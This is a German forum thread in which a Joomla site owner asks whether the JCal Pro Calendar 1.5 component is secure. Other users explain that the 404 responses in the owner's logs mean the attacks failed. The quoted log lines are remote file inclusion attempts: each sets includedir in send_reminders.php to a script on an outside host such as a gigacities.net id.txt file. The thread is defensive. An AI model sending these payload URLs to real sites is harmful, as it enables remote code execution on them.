Thema: JCal Pro Calendar 1.5 sicher?

Hallo,
hab da mal eine Frage zum Thema Sicherheit.
Täglich finde ich in meinen Logs folgende Einträge:

"http://www.meinedomain.com/index.php?option=com_jcalp...tmode=day&date=2007-08-17/tools/send_reminders.php?includedir=http://XXXXXXXX..net/id.txt?"

"http://www.meinedomain.com/index.php?option=com_jcalp...tmode=day&date=2007-07-13/tools/send_reminders.php?includedir=http://XXXXXXXX.com/cmd.txt?"

Wie sicher ist JCal Pro Calendar 1.5?
Können die Scripts Schaden anrichten?

Meine System Informationen:
Provider: 1und1

PHP built On: Linux infong 2.4 #1 SMP Thu Jan 13 08:59:31 CET 2005 i686 unknown
Database Version: 4.0.27-standard-log
PHP Version: 4.4.7
Web Server: Apache/1.3.33 (Unix)
WebServer to PHP interface: cgi
Joomla! Version: Joomla! 1.0.12 Stable [ Sunfire ] 25 December 2006 01:00 UTC
User Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Relevant PHP Settings:

Joomla! Register Globals Emulation: OFF
Register Globals: OFF
Magic Quotes: ON
Safe Mode: OFF
File Uploads: ON
Session auto start: OFF
Session save path: /tmp
Short Open Tags: ON
Output Buffering: OFF
Open basedir: none
Display Errors: ON
XML enabled: Yes
Zlib enabled: Yes
Disabled Functions: none

Zitat von keraM

Das Wichtigste dieser Logeinträge hast Du abgeschnitten. Poste bitte mal die kompletten Zeilen.

Danke für die schnelle Antwort!

Ein Beispiel:

"http://www.meinedomain.com/index.php?option=com_jcalp...tmode=day&date=2007-08-17/tools/send_reminders.php?includedir=http://drpepper.gigacities.net/id.txt?"

Möchte hier nicht alle Domains auflisten.

Zitat von langsch2

Wichtig ist das ENDE der Zeile, die Zahl die dort steht. Also 200, 404, oder 504 z.B.

Danke für die schnelle Antwort!
Also:

" XXX.XXX.XXX.XXX - - [09/Oct/2007:04:08:25 +0200] "GET /index.php?option=com_jcalp...tmode=day&date=2007-08-17//tools/send_reminders.php?includedir=http://drpepper.gigacities.net/id.txt? HTTP/1.1" 404 13667 www.meinedomain.com "-" "libwww-perl/5.79" "-"

und

XXX.XXX.XXX.XXX - - [09/Oct/2007:04:08:32 +0200] "GET //tools/send_reminders.php?includedir=http://drpepper.gigacities.net/id.txt? HTTP/1.1" 404 619 www.meinedomain.com "-" "libwww-perl/5.79" "-" "

Zitat von keraM

Und hier kannst Du jetzt nachlesen, was der http Statuscode bedeutet.

Also wenn ich dass "herauslese":
"404 Not Found: der Server kann die Methode nicht ausführen, weil die Seite nicht gefunden wurde"

Dann wäre dass ein abgewehrter Angriff also "Sicher"?

Zitat von keraM

Richtig. Man hat es versucht, ist aber gescheitert.

Da bin ich aber erleichtert !!

Danke nochmals !!